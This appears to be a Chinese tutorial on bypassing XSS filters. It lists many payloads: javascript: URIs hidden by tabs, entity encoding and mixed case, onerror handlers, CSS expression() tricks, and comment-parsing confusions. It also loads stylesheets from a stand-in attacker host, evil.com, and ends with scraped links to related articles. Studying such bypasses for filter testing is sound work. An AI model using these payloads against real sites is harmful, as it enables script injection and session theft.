1.XSS-Filter:跨站脚本过滤器,用于分析用户提交的输入,并消除潜在的跨站脚本攻击

(1)XSS Filter实际上是一段精心编写的过滤函数作用是过滤XSS跨站脚本代码;

(2)绕过XSS Filter的测试:

**利用<>标记注射Html/javaScript ,因此XSS Filter首先要过滤和转义的就是“<>”或“<script>”等字符

**利用标签属性值来执行XSS,很多HTML标签都支持JavaScript:[code]伪协议的形式,这个特殊的协议类型声明了URL的主体是任意的javascript代码

例如:<img src="javascript:alert('XSS');">

不是所有的浏览器都支持伪协议的

并不是所有标记的属性值都能产生XSS,通常只有引用文件的属性才能触发跨站脚本:

href=     ;lowsrc=    ;bgsound=   ;backgroud=   ;value=   ;action=     ;dynsrc=   ;

**空格回车Tab,如果XSS Filter仅仅把敏感的输入字符列入黑名单,用户可以利用空格,回车和Tab键绕过限制

例如:<img src="javas   cript:alert('/XSS/')" width=100> 注意:Javas和cript之间的间隔不是由空格键添加的,而是由Tab键添加的

使用关键字拆分的技巧,用户可以突破过滤器的限制,不局限在【Tab】键,还可以使用【回车】和【空格】之类的其他键位符

原因在于:在javascript引擎中,空格除了在引号中分隔单词和强制结束语句之外,额外的空白无论以何种方式添加都无所谓

例如:<img src="

cript:

alert(/XSS/)" width=100>

**对标签属性值转码:用户可以通过编码处理来绕过对普通HTML标记的属性值的进行的过滤,因为HTML中属性值本身支持ASCII码的形式

根据HTML的属性值支持ASCII码的特性,把XSS代码:<img src="javascript:alert('XSS');">  替换为  <img src="javascrip&#116&#58alert(/XSS/);">

t的ASSCII码值为116,用“&#116”表示;  :则表示为&#58

还可以把&#01,&#02等字符插入到javascript或Vbscript的头部,另外Tab键的ASCII码值是:&#9,换行符的码值是:&#10,回车符的码值是:&#13

**产生自己的事件:javascript和HTML之间的交互是通过事件实现的,事件就是用户或浏览器自身执行的某个动作,比如click,mouseover,load等。响应事件的函数就叫做事                             件处理函数(事件监听器)

事件被划分为3种不同的类型:

①用户接口(鼠标,键盘)

          ②逻辑(处理的结果)

           ③ 变化(对文档进行修改)

例如:<img src="#" onerror=alert(/XSS/)>  onerror是IMG标记的一个事件,只要页面发生错误,该事件立即被激活

**可以用来测试事件型的跨站脚本,有大量的事件可以运用:

onResume,onReverse,onRowDelete,onRowInserted,onSeek,onSynchRestored,onTimeError ,onTrackChange,onURLFlip ,onRepeat,

onMediaError,  onPause ,onProgress ,oncontrolselect ,onOutOfSync  , onafterprint  ,onbeforeprint  ,ondataavailable  ,ondatasetchanged

ondatasetcomplete  , onerrorupdate  ,onrowenter  ,onrowexit  ,onrowsdelete  ,onrowsinserted ,onselectionchange  ,onbounce  ,onfinish

onstop ,onresizeend

**利用CSS跨站剖析:

①例如:<div style="backgroud-image:url(javascript:alert('XSS'))">

②IE5及其之后的版本都支持在CSS中使用expression,使用expression同样可以触发XSS漏洞

例如:<div style="width: expression (alert('XSS'));">

或<style>body{background-image:expression(alert("XSS"));}</style>

③此外,CSS样式表不需要嵌入到HTML代码中,它能从其他文件中甚至从不同的目标机器上进行引用

例如:<link rel="stylesheet" href="http://www.evil.com/attack.css">

④在网页中引用外部CSS还可以利用@import将其导入

例如:<style type='text/css'>@import url(http://www.evil.com/xss.css);</style>

xss.css的内容是:

.showCSS{

event:expression(

onload = function(){

alert('XSS');})

}

⑤此外,@import还有一个特性,就是能直接执行javaScript代码,

例如:<style> @import 'javascript :alert("XSS")';  </style>

**扰乱过滤规则:

①转换大小写之后的XSS:<IMG SRC="javascript:alert(0);">

②大小写混淆的XSS:<iMg sRC="jaVasCript:alert(0);">

③不用双引号,而是使用单引号的XSS:<img src='javascript:alert(0);'>

④不使用引号的XSS:<img src=javascript:alert(0);>

⑤不使用空格,而用/代替:<img/src="javascript:alert('XSS');">

⑥当利用expression执行跨站代码时,可以构造不同的全角字符来扰乱过滤规则:

<xss STYLE="xss: exprEssion(alert('XSS'))">

<div style="{left : e  x  p  r  e   s  s  i   o   n  (alert('XSS')  )  }">

**样式表中的/**/会被浏览器忽略,因此可以结合使用注释字符干扰和欺骗过滤器:

<XSS  STYLE="xss: expr/*XSS*/ession(alert('XSS') ) ">

<div style="wid/**/th:expre/*XSS*/ssion(alert('XSS') );">

**除了/**/之外,样式表中的\和结束符\0也是被浏览器忽略的:

@\0im\port' \0ja\vasc\ript:alert("XSS")';

@\i\0m\00p\000o\0000\00000r\000000t"url";

**还可以将CSS中的关键字进行转码处理,如将e转换为\65,包括改变编码中的0的数量:

<p  style="xss: \65xpression(alert(/XSS/))">

**利用浏览器解析HTML注释存在的问题来执行JavaScript:

例如:

①<!--<img src="--><img  src=x  onerror=alert(1)//>">

②<comment><img src="</comment><img  src=x  onerror=alter(1) //">

③<style><img  src="</style><img src=x  onerror=alert(1)//">

XSS 跨站脚本攻击之构造剖析(一)的更多相关文章

  1. XSS 跨站脚本攻击之构造剖析(二)

    1.利用字符编码 (1)字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好的隐藏ShellCode (2)使用一个XSS编码工具,以便对字符串进行十进制和十六进 ...

  2. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  3. PHP漏洞全解(四)-xss跨站脚本攻击

    本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...

  4. 初窥XSS跨站脚本攻击

    XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS 经过后端,不经过数据库 2.储存型XSS 经过后端,经 ...

  5. XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)

    转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...

  6. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  7. xss(跨站脚本攻击),crsf(跨站请求伪造),xssf

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  8. JAVA覆写Request过滤XSS跨站脚本攻击

    注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...

  9. xss跨站脚本攻击及xss漏洞防范

    xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...

随机推荐

  1. shiro错误总结

    今天在做spring+mybatis+springmvc+shiro的时候,报这个错,刚开始以为是shiro登录验证出错,后来,观看一下错误,发现在别的xml中写错了代码,shiro接连着报错,记录一 ...

  2. 【leetcode】Path Sum I & II(middle)

    Given a binary tree and a sum, determine if the tree has a root-to-leaf path such that adding up all ...

  3. 【leetcode】Same Tree(easy)

    Given two binary trees, write a function to check if they are equal or not. Two binary trees are con ...

  4. 【python】词法语法解析模块ply

    官方手册:http://www.dabeaz.com/ply/ply.html 以下例子都来自官方手册: 以四则运算为例: x = 3 + 42 * (s - t) 词法分析: 需要将其分解为: 'x ...

  5. 让view 覆盖导航栏

    当我们想做一个弹出式菜单时,想将导航栏也一起盖住不显示的话,可以用如下语句实现: UIView* myView = /* 你自定义的view */; UIWindow* currentWindow = ...

  6. Ajax与Jquery题库

    一.    填空题 1.在JQuery中被誉为工厂函数的是 $() . 2.在jQuery中需要选取<div>元素里所有<a>元素的选择器是 $("div a&quo ...

  7. MVC4 @RenderBody、@RenderSection、@RenderPage、Html.RenderPartial、Html.RenderAction的作用和区别

    1. RenderBody在Razor引擎中没有了“母版页”,取而代之的是叫做“布局”的页面(_Layout.cshtml)放在了共享视图文件夹中.在这个页面中,会看到标签里有这样一条语句:@Rend ...

  8. ajaxFileUpload上传文件没反应

    调用jquery的ajaxFileUpload异步上传文件,IE浏览器不进入success问题 原因:json转换异常,ie浏览器处理后的返回json没有<pre>标签,直接是完整的jso ...

  9. 深入理解SELinux SEAndroid

    参考文章: 一. http://blog.csdn.net/innost/article/details/19299937 二. http://blog.csdn.net/innost/article ...

  10. Delphi的字符串、PChar和字符数组之间的转换

    参考:http://my.oschina.net/kavensu/blog/193719 以下的各种方法都是我在Delphi 6的环境下测试成功的,可能根据你的开发环境.不同的上下文语境……有一些可能 ...